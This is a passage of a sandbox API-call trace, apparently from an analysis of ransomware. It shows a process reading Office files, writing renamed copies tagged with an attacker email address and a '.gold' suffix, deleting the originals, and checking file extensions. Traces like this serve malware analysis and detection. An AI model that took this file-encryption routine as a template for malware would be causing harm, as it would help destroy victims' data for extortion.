returned -1 [0106.068] lstrlenW (lpString=".7z") returned 3 [0106.068] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0106.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0106.068] lstrlenW (lpString=".dbf") returned 4 [0106.068] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0106.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0106.068] lstrlenW (lpString=".1cd") returned 4 [0106.068] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0106.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0106.068] lstrlenW (lpString=".jpg") returned 4 [0106.068] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0106.068] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0106.068] lstrlenW (lpString="SAVASWEB.VSL") returned 12 [0106.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0106.088] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=48488) returned 1 [0106.088] CloseHandle (hObject=0x39c) returned 1 [0106.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl")) returned 0x20 [0106.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0106.123] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.123] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0106.124] GetLastError () returned 0x0 [0106.124] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xbd68, lpOverlapped=0x0) returned 1 [0106.150] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xbd70, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xbd70, lpOverlapped=0x0) returned 1 [0106.151] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.151] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.152] SetEndOfFile (hFile=0x3c4) returned 1 [0106.152] CloseHandle (hObject=0x3c4) returned 1 [0106.152] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.152] SetEndOfFile (hFile=0x230) returned 1 [0106.155] CloseHandle (hObject=0x230) returned 1 [0106.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl")) returned 1 [0106.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0106.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0106.156] lstrlenW (lpString=".doc") returned 4 [0106.156] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0106.156] lstrlenW (lpString=".docx") returned 5 [0106.156] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0106.156] lstrlenW (lpString=".pdf") returned 4 [0106.156] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0106.156] lstrlenW (lpString=".xls") returned 4 [0106.156] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0106.156] lstrlenW (lpString=".xlsx") returned 5 [0106.156] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0106.156] lstrlenW (lpString=".ppt") returned 4 [0106.156] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0106.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0106.156] lstrlenW (lpString=".zip") returned 4 [0106.156] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0106.156] lstrlenW (lpString=".rar") returned 4 [0106.156] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0106.156] lstrlenW (lpString=".bz2") returned 4 [0106.156] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0106.156] lstrlenW (lpString=".7z") returned 3 [0106.156] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0106.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0106.156] lstrlenW (lpString=".dbf") returned 4 [0106.156] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0106.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0106.156] lstrlenW (lpString=".1cd") returned 4 [0106.156] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0106.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0106.156] lstrlenW (lpString=".jpg") returned 4 [0106.156] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0106.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0106.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0106.157] lstrlenW (lpString=".doc") returned 4 [0106.157] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0106.157] lstrlenW (lpString=".docx") returned 5 [0106.157] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0106.157] lstrlenW (lpString=".pdf") returned 4 [0106.157] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0106.157] lstrlenW (lpString=".xls") returned 4 [0106.157] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0106.157] lstrlenW (lpString=".xlsx") returned 5 [0106.157] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0106.157] lstrlenW (lpString=".ppt") returned 4 [0106.157] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0106.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0106.157] lstrlenW (lpString=".zip") returned 4 [0106.157] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0106.157] lstrlenW (lpString=".rar") returned 4 [0106.157] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0106.157] lstrlenW (lpString=".bz2") returned 4 [0106.157] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0106.157] lstrlenW (lpString=".7z") returned 3 [0106.157] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0106.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0106.157] lstrlenW (lpString=".dbf") returned 4 [0106.157] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0106.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0106.157] lstrlenW (lpString=".1cd") returned 4 [0106.157] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0106.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0106.157] lstrlenW (lpString=".jpg") returned 4 [0106.157] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0106.157] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0106.157] lstrlenW (lpString="SETLANG_COL.HXC") returned 15 [0106.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0106.158] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=631) returned 1 [0106.158] CloseHandle (hObject=0x230) returned 1 [0106.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc")) returned 0x20 [0106.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0106.158] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.158] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0106.168] GetLastError () returned 0x0 [0106.168] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x277, lpOverlapped=0x0) returned 1 [0106.169] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x280, lpOverlapped=0x0) returned 1 [0106.170] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.170] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0106.170] SetEndOfFile (hFile=0x3c4) returned 1 [0106.170] CloseHandle (hObject=0x3c4) returned 1 [0106.170] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.170] SetEndOfFile (hFile=0x230) returned 1 [0106.172] CloseHandle (hObject=0x230) returned 1 [0106.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc")) returned 1 [0106.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0106.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0106.172] lstrlenW (lpString=".doc") returned 4 [0106.172] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0106.172] lstrlenW (lpString=".docx") returned 5 [0106.173] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0106.173] lstrlenW (lpString=".pdf") returned 4 [0106.173] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0106.173] lstrlenW (lpString=".xls") returned 4 [0106.173] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0106.173] lstrlenW (lpString=".xlsx") returned 5 [0106.173] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0106.173] lstrlenW (lpString=".ppt") returned 4 [0106.173] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0106.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0106.173] lstrlenW (lpString=".zip") returned 4 [0106.173] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0106.173] lstrlenW (lpString=".rar") returned 4 [0106.173] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0106.173] lstrlenW (lpString=".bz2") returned 4 [0106.173] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0106.173] lstrlenW (lpString=".7z") returned 3 [0106.173] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0106.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0106.173] lstrlenW (lpString=".dbf") returned 4 [0106.173] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0106.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0106.173] lstrlenW (lpString=".1cd") returned 4 [0106.173] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0106.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0106.173] lstrlenW (lpString=".jpg") returned 4 [0106.173] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0106.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0106.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0106.173] lstrlenW (lpString=".doc") returned 4 [0106.173] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0106.173] lstrlenW (lpString=".docx") returned 5 [0106.173] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0106.173] lstrlenW (lpString=".pdf") returned 4 [0106.173] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0106.173] lstrlenW (lpString=".xls") returned 4 [0106.173] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0106.173] lstrlenW (lpString=".xlsx") returned 5 [0106.173] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0106.173] lstrlenW (lpString=".ppt") returned 4 [0106.173] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0106.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0106.173] lstrlenW (lpString=".zip") returned 4 [0106.173] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0106.173] lstrlenW (lpString=".rar") returned 4 [0106.173] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0106.173] lstrlenW (lpString=".bz2") returned 4 [0106.173] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0106.173] lstrlenW (lpString=".7z") returned 3 [0106.173] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0106.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0106.173] lstrlenW (lpString=".dbf") returned 4 [0106.173] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0106.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0106.173] lstrlenW (lpString=".1cd") returned 4 [0106.174] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0106.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0106.174] lstrlenW (lpString=".jpg") returned 4 [0106.174] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0106.174] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0106.174] lstrlenW (lpString="SETLANG_COL.HXT") returned 15 [0106.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0106.174] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=207) returned 1 [0106.174] CloseHandle (hObject=0x230) returned 1 [0106.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt")) returned 0x20 [0106.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0106.175] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.175] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0106.175] GetLastError () returned 0x0 [0106.175] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xcf, lpOverlapped=0x0) returned 1 [0106.176] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0106.177] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.177] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0106.177] SetEndOfFile (hFile=0x3c4) returned 1 [0106.177] CloseHandle (hObject=0x3c4) returned 1 [0106.177] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.177] SetEndOfFile (hFile=0x230) returned 1 [0106.179] CloseHandle (hObject=0x230) returned 1 [0106.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt")) returned 1 [0106.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0106.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0106.180] lstrlenW (lpString=".doc") returned 4 [0106.180] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0106.180] lstrlenW (lpString=".docx") returned 5 [0106.180] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0106.180] lstrlenW (lpString=".pdf") returned 4 [0106.180] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0106.180] lstrlenW (lpString=".xls") returned 4 [0106.180] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0106.180] lstrlenW (lpString=".xlsx") returned 5 [0106.180] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0106.180] lstrlenW (lpString=".ppt") returned 4 [0106.180] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0106.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0106.180] lstrlenW (lpString=".zip") returned 4 [0106.180] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0106.180] lstrlenW (lpString=".rar") returned 4 [0106.180] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0106.180] lstrlenW (lpString=".bz2") returned 4 [0106.180] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0106.180] lstrlenW (lpString=".7z") returned 3 [0106.180] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0106.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0106.180] lstrlenW (lpString=".dbf") returned 4 [0106.180] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0106.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0106.180] lstrlenW (lpString=".1cd") returned 4 [0106.180] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0106.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0106.180] lstrlenW (lpString=".jpg") returned 4 [0106.180] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0106.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0106.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0106.180] lstrlenW (lpString=".doc") returned 4 [0106.180] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0106.180] lstrlenW (lpString=".docx") returned 5 [0106.180] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0106.180] lstrlenW (lpString=".pdf") returned 4 [0106.180] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0106.180] lstrlenW (lpString=".xls") returned 4 [0106.180] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0106.180] lstrlenW (lpString=".xlsx") returned 5 [0106.180] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0106.180] lstrlenW (lpString=".ppt") returned 4 [0106.180] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0106.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0106.180] lstrlenW (lpString=".zip") returned 4 [0106.180] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0106.180] lstrlenW (lpString=".rar") returned 4 [0106.180] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0106.180] lstrlenW (lpString=".bz2") returned 4 [0106.181] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0106.181] lstrlenW (lpString=".7z") returned 3 [0106.181] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0106.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0106.181] lstrlenW (lpString=".dbf") returned 4 [0106.181] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0106.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0106.181] lstrlenW (lpString=".1cd") returned 4 [0106.181] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0106.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0106.181] lstrlenW (lpString=".jpg") returned 4 [0106.181] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0106.181] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0106.181] lstrlenW (lpString="SETLANG_F_COL.HXK") returned 17 [0106.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0106.181] GetFileSizeEx (in: 